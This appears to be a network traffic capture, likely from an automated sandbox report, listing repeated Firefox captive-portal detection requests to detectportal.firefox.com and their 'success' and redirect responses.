Oct 17, 2024 18:39:06.545052052 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:07.139163971 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65536 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49963	34.107.221.82	80	5788	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:39:07.073077917 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:07.687334061 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59438 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49976	34.107.221.82	80	5788	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:39:08.351701975 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:08.958154917 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65537 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:12.680942059 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:12.807507992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65541 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:16.966603994 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:17.094355106 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65546 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:17.357734919 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:17.484153986 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65546 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:20.015691042 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:20.141911983 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65549 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:20.660377026 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:20.787091970 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65549 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:26.152168036 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:26.279339075 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:26.863585949 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:27.024058104 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65555 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:27.539627075 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:27.666219950 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65556 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:28.169836044 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:28.296344042 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65557 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:33.311328888 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:33.437465906 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65562 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:33.583702087 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:33.710392952 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65562 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:34.061950922 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:34.192208052 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65563 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:34.203259945 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:34.329756021 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65563 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:37.542983055 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:37.671139956 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65566 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:47.676282883 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:39:53.444247007 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:53.571146011 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65582 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:39:58.971672058 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:39:59.097970963 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65588 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:40:04.141904116 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:40:04.490514040 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65593 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:40:04.519716024 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65593 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:40:04.773803949 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 17, 2024 18:40:04.907027006 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 16 Oct 2024 22:26:51 GMT Age: 65593 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 17, 2024 18:40:14.913340092 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:40:24.927728891 CEST	6	OUT	Data Raw: 00 Data Ascii:
Oct 17, 2024 18:40:34.940675974 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49977	34.107.221.82	80	5788	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 18:39:08.425671101 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:09.040688992 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59439 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:12.681900024 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:12.810714960 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59443 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:16.967293978 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:17.096410990 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59448 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:19.632460117 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:19.761440992 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59450 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:20.513245106 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:20.641621113 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59451 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:26.018017054 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:26.147416115 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59457 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:26.729909897 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:26.859378099 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59457 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:27.406527042 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:27.536154032 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59458 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:28.038552046 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:28.166090012 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59459 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:33.179938078 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 17, 2024 18:39:33.308450937 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 17 Oct 2024 00:08:29 GMT Age: 59464 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 17, 2024 18:39:33.448539972 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
